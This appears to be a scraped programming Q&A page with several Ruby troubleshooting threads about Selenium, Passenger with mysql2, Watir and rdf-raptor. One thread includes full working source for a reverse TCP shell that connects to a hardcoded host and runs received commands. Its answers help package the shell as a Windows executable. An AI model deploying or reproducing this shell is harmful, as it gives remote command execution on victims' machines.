Error with ruby script "The system cannot find the file specified" - ruby

I am using Selenium Webdriver with Ruby version 1.9.3( I know this is old and I intend to upgrade). When I run my script I see this error "The system cannot find the file specified" I had another version of Ruby installed (2.0) which was giving me problems so I uninstalled it and have the old version. Below is the code and error.
require "selenium-webdriver"
qa= Selenium::WebDriver.for :firefox
qa.navigate.to "website url"
sleep 3
qa.close
ERROR
ruby AMO.rb
The system cannot find the file specified.

Related

Ruby on Rail running apache show index of when accessing the site

I have recently updated to Apache 2.4, and I am using Ruby on Rail to run my application. Following the upgrade, the site shows a content as seen in the image below, and the error on the log file shows this error message. I have tried using the 'Bundle Install' and checked the permission but that hasn't helped. Any advice would be greatly appreciated. Thanks
[ 2022-02-07 07:47:24.5559 8104/7efc89c8f700 age/Cor/App/Implementation.cpp:304 ]: Could not spawn process for application /home/adminuser/hroot: An error occured while starting up the preloader.
Error ID: ba7e6074
Error details saved to: /tmp/passenger-error-RA01E9.html
Message from application: libmysqlclient.so.18: cannot open shared object file: No such file or directory - /usr/local/rvm/gems/ruby-2.0.0-p353#hroot/gems/mysql2-0.3.14/lib/mysql2/mysql2.so (LoadError)
PassengerRuby /usr/local/rvm/gems/ruby-2.0.0-p353#hroot/wrappers/ruby
SetEnv GEM_HOME /root/.gem/ruby/1.9.1
This error shows a problem with the shared objects. You probably updated MySQL/MariaDB libraries with Apache and new libraries are incompatible with your mysql2 gem build. The solution is simple:
First, ensure you are using the ruby-2.0.0-p353#hroot RVM environment.
Then, execute the following command:
gem install mysql2 --version 0.3.14
This should rebuild your mysql2 gem for the new MySQL/MariaDB client libraries on your system.
this isn't the answer anyway but another method to run ruby (in my case Windows 10 ; if you use another OS try to find out how to modify inside index.php the ruby starter)
i post here an alternative method to use apache + php +... and ruby
https://stackoverflow.com/a/71733656/5781320

Ruby compile with ocra error - libssp-0.dll not found

I'm trying to compile a simple reverse TCP shell written in ruby with ocra.
The code is pretty simple:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"
#Tries to connect every 5 seconds
begin
sock = TCPSocket.new "#{RHOST}","#{PORT}"
sock.puts "You are connected to your victim"
rescue
puts "Retrying..."
sleep 5
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets && line
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
I build it with: ocra RevShell.rb --verbose
I get no error messages but whenever I try to run the .exe I get the following error: "C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found"
Am I missing something? Ocra should check the needed requirements by itself adding it to the exe by I still miss this dll.
Thanks for your help.
Maybe you don't have the libssp-0.dll file installed. You can download it from https://www.dll-files.com/libssp-0.dll.html then placing the file where the error says.
Use --dll ruby_builtin_dlls\libssp-0.dll.
See https://github.com/larsch/ocra/issues/168 for more details.
I faced the same problem with Ruby 2.6 and 2.7 (x64) installed by RubyInstaller.
In my case, libssp-0.dll surely exists at the ruby_builtin_dlls directory, but somehow it was not included in the compiled exe while other dlls in the same directory are all included.
For time being, I could evade this problem by using (x86) version of Ruby 2.7.

Error: unknown error: DevToolsActivePort file doesn't exist, when executing ruby script with watir

I am fairly new to Centos7 and trying to develop a solution for browser automation in the below environment:
OS: Centos7
Ruby: 2.6
Watir
Browser:Google Chrome 72.0.3626.109
Driver: ChromeDriver 2.46.628388
My script:
require 'watir'
# Initialize the browser with the driver path
site="https://google.com"
browser = Watir::Browser.new :chrome
browser.goto site
Getting error:
`assert_ok': unknown error: Chrome failed to start: exited abnormally (Selenium::WebDriver::Error::UnknownError)
(unknown error: DevToolsActivePort file doesn't exist)
(The process started from chrome location /usr/bin/google-chrome is no longer running, so ChromeDriver is assuming that Chrome has crashed.)
(Driver info: chromedriver=2.46.628388 (4a34a70827ac54148e092aafb70504c4ea7ae926),platform=Linux 3.10.0-957.5.1.el7.x86_64 x86_64)
I found multiple solutions on net that are recommending to modify chrome options like:
chrome_options.add_argument('--headless')
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('--disable-dev-shm-usage')
But I don't know where to set these. The nearest I was able to reach is the answers provided here: How do I pass options to the Selenium Chrome driver using Python?
Can anyone please help me to resolve it in a step-by-step manner?
Also faced similar issue but with npm and protractor configuration but I guess the solution would be similar. You have to install chrome browser in your linux system.
The chromedriver is just a wrapper written to use the chromebrowser for running the test cases.
Also if google-chrome is installed you might want to check the path were it is installed in linux based operating system the path expected is under /usr/bin/google-chrome. This file is generally a link to the actual binary of the chrome.
Hope so this helps

Problem connecting to localhost with watir

I have a set of cucumber tests that normally run fine against our site. But if I make any changes and want to run the tests locally, the tests fail immediately, even before the initial page is finished loading.
I tried in IRB without cucumber and get the same error, using the following code:
require 'rubygems'
require 'watir'
browser = Watir::Browser.new
browser.goto("http://localhost:1234/somepath")
browser.text_field(:id, 'Username').set('jimbob')
Which fails with the following:
WIN32OLERuntimeError: unknown property or method `document'
HRESULT error code:0x800706b5
The interface is unknown.
from C:/Ruby187/lib/ruby/gems/1.8/gems/watir-1.7.1/lib/watir/ie-class.rb:467:in `method_missing'
from C:/Ruby187/lib/ruby/gems/1.8/gems/watir-1.7.1/lib/watir/ie-class.rb:467:in `document'
from C:/Ruby187/lib/ruby/gems/1.8/gems/watir-1.7.1/lib/watir/container.rb:836:in `locate_input_element'
from C:/Ruby187/lib/ruby/gems/1.8/gems/watir-1.7.1/lib/watir/input_elements.rb:5:in `locate'
from C:/Ruby187/lib/ruby/gems/1.8/gems/watir-1.7.1/lib/watir/element.rb:55:in `assert_exists'
from C:/Ruby187/lib/ruby/gems/1.8/gems/watir-1.7.1/lib/watir/input_elements.rb:366:in `set'
Versions:
OS: Windows 7
Browser: IE8
Ruby: 1.8.7 (I tried using 1.9.2, but it didn't have a problem)
Watir: 1.7.1
You need to run as Administrator on Windows 7 when using Watir against localhost.
Credit to http://chowamigo.blogspot.com/2010/03/setting-up-cucumber-to-use-watir-test.html
Same thing applies to Server2008 btw gotta run the command line window as admin in order for watir to work correctly. Something to do with IE security I'm sure.

RDF-raptor-parser

I am trying to parse the rdf file but
I am getting error while executing following code in ubuntu
RDF::Reader.open("http://datagraph.org/jhacker/foaf.rdf") do |reader|
reader.each_statement do |statement|
puts statement.inspect
end
end
as
LoadError: Could not open library 'libraptor': libraptor: cannot open shared object file: No such file or directory. Could not open library 'libraptor.so': libraptor.so: cannot open shared object file: No such file or directory
I installed all the required gems:
rdf
rdf-raptor
ffi
rdf-json
rdf-trix
Please help me how to rectify this problem
I suggest you visit http://rdf.rubyforge.org/raptor/ and use the contact info mentioned there such as the mailing list. The error is because the C shared library libraptor.so cannot be found by ruby, so it must have been installed in a non-standard place. I am the author of Raptor but I do not know how rdf-raptor installed Raptor.

Resources